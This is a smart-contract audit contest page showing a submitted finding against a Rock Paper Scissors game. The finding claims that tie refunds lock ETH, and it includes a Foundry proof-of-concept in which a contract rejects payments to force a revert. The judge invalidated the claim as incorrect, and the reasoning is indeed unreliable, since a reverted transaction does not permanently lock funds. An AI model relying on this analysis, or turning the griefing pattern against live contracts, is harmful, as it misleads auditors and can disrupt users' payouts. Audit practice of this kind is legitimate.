Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: medium
Invalid

Protocol refund mechanism in `_handleTie` uses an unsale "all-or-nothing" transfer approach risking locking user funds if refund fails

Summary

The protocol's ETH refund mechanism in tie scenarios uses an unsafe "all-or-nothing" transfer approach that risks permanently locking user funds if either refund transfer fails. This violates the atomicity principle and lacks recovery mechanisms for partial failures.

Vulnerability Details

Affected Function: _handleTie()

Root Cause:

The contract attempts to send ETH refunds to both players in a single atomic transaction:

(bool successA,) = game.playerA.call{value: refundA}("");
(bool successB,) = game.playerB.call{value: refundB}("");
require(successA && successB, "Transfer failed"); // Both must succeed

If either transfer fails (even if one succeeds temporarily), the entire transaction reverts, leaving both refunds unprocessed and ETH permanently stuck in the contract.

Failure Scenarios:

  1. Malicious Contracts: A player contract rejects ETH transfers in its receive() function

  2. Gas Limits: Complex recipient logic exhausts gas during transfer

  3. Temporary Issues: Recipient addresses with intermittent failure states

Impact

Severity: High
Likelihood: Medium (Depends on user address types)
Consequences:

  • Permanent loss of refund ETH for both players

  • Protocol accumulates locked funds with no recovery path

  • Secondary attacks possible by griefers forcing failures

PoC

Foundry Test Case:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/RockPaperScissors.sol";
import "../src/WinningToken.sol";
// Test contract that rejects ETH transfers
contract Griefer {
receive() external payable {
revert("I reject your refund");
}
}
contract RockPaperScissorsTest is Test {
RockPaperScissors public game;
WinningToken public token;
address public admin;
address public playerA;
address public playerB;
function setUp() public {
admin = address(this);
playerA = makeAddr("playerA"); // Properly initialized
playerB = makeAddr("playerB");
// Deploy fresh contracts
game = new RockPaperScissors();
token = WinningToken(game.winningToken());
}
function test_Revert_When_PlayerBRejectsTransfer_RefundLocksFunds() public {
// Deploy fresh contracts to avoid state contamination
RockPaperScissors freshGame = new RockPaperScissors();
// Create malicious contract that rejects ETH transfers
Griefer griefer = new Griefer();
vm.deal(address(griefer), 10 ether);
// Give playerA ETH for the initial bet
vm.deal(playerA, 10 ether); // Give 10 ETH to create a game
// Create game with playerA
vm.prank(playerA);
uint256 gamesId = freshGame.createGameWithEth{value: 0.1 ether}(3, 600);
// PlayerB (griefer) joins game
vm.prank(address(griefer));
freshGame.joinGameWithEth{value: 0.1 ether}(gamesId);
// Play until tie (3 identical moves)
// Turn 1 - Both play Rock
bytes32 saltA1 = keccak256("saltA1");
bytes32 commitA1 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA1));
vm.prank(playerA);
freshGame.commitMove(gamesId, commitA1);
bytes32 saltB1 = keccak256("saltB1");
bytes32 commitB1 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltB1));
vm.prank(address(griefer));
freshGame.commitMove(gamesId, commitB1);
vm.prank(playerA);
freshGame.revealMove(gamesId, uint8(RockPaperScissors.Move.Rock), saltA1);
vm.prank(address(griefer));
freshGame.revealMove(gamesId, uint8(RockPaperScissors.Move.Rock), saltB1);
// Turn 2 - Both play Paper
bytes32 saltA2 = keccak256("saltA2");
bytes32 commitA2 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltA2));
vm.prank(playerA);
freshGame.commitMove(gamesId, commitA2);
bytes32 saltB2 = keccak256("saltB2");
bytes32 commitB2 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltB2));
vm.prank(address(griefer));
freshGame.commitMove(gamesId, commitB2);
vm.prank(playerA);
freshGame.revealMove(gamesId, uint8(RockPaperScissors.Move.Paper), saltA2);
vm.prank(address(griefer));
freshGame.revealMove(gamesId, uint8(RockPaperScissors.Move.Paper), saltB2);
// Final Turn - Both play Scissors to force tie
bytes32 saltA3 = keccak256("saltA3");
bytes32 commitA3 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Scissors), saltA3));
vm.prank(playerA);
freshGame.commitMove(gamesId, commitA3);
bytes32 saltB3 = keccak256("saltB3");
bytes32 commitB3 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Scissors), saltB3));
vm.prank(address(griefer));
freshGame.commitMove(gamesId, commitB3);
// Reveal final moves - this will trigger tie resolution
vm.prank(playerA);
freshGame.revealMove(gamesId, uint8(RockPaperScissors.Move.Scissors), saltA3);
// This reveal will trigger the failed transfer
vm.prank(address(griefer));
vm.expectRevert("Transfer failed");
freshGame.revealMove(gamesId, uint8(RockPaperScissors.Move.Scissors), saltB3);
// Verify funds locked
assertEq(address(freshGame).balance, 0.2 ether);
assertEq(address(griefer).balance, 9.9 ether); // Initial 10 - 0.1 bet
assertEq(playerA.balance, 9.9 ether); // Initial 10 - 0.1 bet
}
}

Tools Used

  1. Manual Review: Identified unsafe atomic transfer pattern

  2. Foundry: Executed PoC with contract-based griefing attack

Recommendations

  1. Implement Pull Payments:

    mapping(address => uint256) public pendingWithdrawals;
    function withdraw() external {
    uint256 amount = pendingWithdrawals[msg.sender];
    require(amount > 0, "No funds pending");
    pendingWithdrawals[msg.sender] = 0;
    (bool success,) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
    }
    // In _handleTie():
    pendingWithdrawals[playerA] += refundA;
    pendingWithdrawals[playerB] += refundB;
  2. Add Emergency Recovery:

    function adminRecoverETH(address recipient) external onlyAdmin {
    (bool success,) = recipient.call{value: address(this).balance}("");
    require(success, "Transfer failed");
    }
  3. Circuit Breaker:

    bool public withdrawalsPaused;
    function withdraw() external {
    require(!withdrawalsPaused, "Withdrawals paused");
    // ... existing logic ...
    }

This approach decouples accounting from fund transfers, eliminates atomic failure risks, and provides admin safeguards while preserving user control over withdrawals.

Updates

Appeal created

m3dython Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.